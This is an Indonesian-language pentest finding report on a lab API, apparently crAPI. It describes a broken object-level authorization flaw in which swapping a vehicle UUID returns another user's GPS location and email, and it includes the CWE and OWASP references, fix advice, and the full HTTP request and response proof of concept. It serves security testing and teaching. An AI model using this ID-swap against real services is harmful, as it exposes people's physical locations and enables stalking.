Broken Object Level Authorization - Vehicle - Location Tracking

Kerentanan

[FAIL] Broken Object Level Authorization - Vehicle - Location Tracking

Deskripsi

Endpoint lokasi kendaraan mengembalikan posisi GPS milik pengguna lain hanya berbekal UUID kendaraan. Server memverifikasi autentikasi tetapi tidak memverifikasi kepemilikan objek (BOLA/IDOR).

Dampak

Confidentiality: pelacakan lokasi fisik real-time pengguna lain serta kebocoran nama & email; berpotensi stalking/penargetan.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

API1:2023 - Broken Object Level Authorization

Skenario

Normal: attacker membaca lokasi kendaraan miliknya sendiri -> 200. Eksploitasi: UUID diganti ke kendaraan korban -> 200 lokasi+email korban -> CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleId}/location

Fitur terdampak

Pelacakan Lokasi Kendaraan (crapi-identity)

Rekomendasi perbaikan

- Verifikasi kepemilikan kendaraan terhadap user pada token sebelum mengembalikan lokasi. - Terapkan pemeriksaan otorisasi tingkat objek terpusat.

Bukti konsep

1. (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e0d1b/location (kendaraan sendiri) dengan token attacker -> 200.
2. (Screenshot 2) EKSPLOITASI + CIA: ganti UUID pada path menjadi 8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687 (kendaraan KORBAN), token sama -> 200 mengembalikan koordinat GPS + email korban ([REDACTED-EMAIL]).

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

Normal: lokasi kendaraan sendiri

Alur normal: penyerang meminta lokasi kendaraannya sendiri (uuid 9b3ce26b-d797-404b-a961-09d7e45e0d1b) dan mendapat respons 200. Perilaku ini sesuai harapan.

HTTP request

GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e0d1b/location HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 177

{
  "carId": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
  "vehicleLocation": {
    "id": 4,
    "latitude": "38.206348",
    "longitude": "-84.270172"
  },
  "fullName": "Muhammad Faqih",
  "email": "[REDACTED-EMAIL]"
}

Dampak: lokasi korban terbuka

Dampak: UUID kendaraan diganti dengan UUID korban (8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687), tetap menggunakan token penyerang yang sama. Response 200 mengembalikan koordinat GPS dan email korban. Kerahasiaan terdampak karena lokasi fisik pengguna lain dapat dilacak.

HTTP request

GET /identity/api/v2/vehicle/8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687/location HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 178

{
  "carId": "8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687",
  "vehicleLocation": {
    "id": 5,
    "latitude": "37.406769",
    "longitude": "-94.705528"
  },
  "fullName": "Muhammad Faqih",
  "email": "[REDACTED-EMAIL]"
}

← Kasus sebelumnya: Broken Object Level Authorization - Shop - Return Order Kasus berikutnya: Broken Object Level Authorization - Vehicle - Location Tracking (Unauthenticated) →